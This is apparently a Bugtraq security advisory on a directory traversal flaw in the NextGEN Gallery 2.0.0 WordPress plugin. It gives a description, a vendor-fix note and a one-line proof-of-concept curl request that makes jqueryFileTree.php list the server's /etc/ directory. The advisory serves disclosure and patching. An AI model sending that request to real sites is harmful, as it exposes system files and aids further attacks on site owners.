WordPress NextGEN Gallery Plugin 'jqueryFileTree.php' Directory Traversal Vulnerability

BID:65637

Info

WordPress NextGEN Gallery Plugin 'jqueryFileTree.php' Directory Traversal Vulnerability

Bugtraq ID: 65637
Class: Input Validation Error
CVE:
Remote: Yes
Local: No
Published: Feb 19 2014 12:00AM
Updated: Feb 19 2014 12:00AM
Credit: Tom Adams
Vulnerable:
Not Vulnerable:

Discussion

WordPress NextGEN Gallery Plugin 'jqueryFileTree.php' Directory Traversal Vulnerability

The NextGEN Gallery plugin for WordPress is prone to a directory-traversal vulnerability because it fails to sufficiently sanitize user-supplied input.

Exploiting this issue can allow an attacker to obtain sensitive information that could aid in further attacks.

NextGEN Gallery 2.0.0 is vulnerable; other versions may also be affected.

Exploit / POC

WordPress NextGEN Gallery Plugin 'jqueryFileTree.php' Directory Traversal Vulnerability

The following example data is available:

curl -i -d 'dir=/etc/' http://www.example.com/wp-content/plugins/nextgen-gallery/products/photocrati_nextgen/modules/nextgen_addgallery_page/static/jquery.filetree/connectors/jqueryFileTree.php

Solution / Fix

WordPress NextGEN Gallery Plugin 'jqueryFileTree.php' Directory Traversal Vulnerability

Solution:
Vendor updates are available. Please see the references for more information.

References

WordPress NextGEN Gallery Plugin 'jqueryFileTree.php' Directory Traversal Vulnerability

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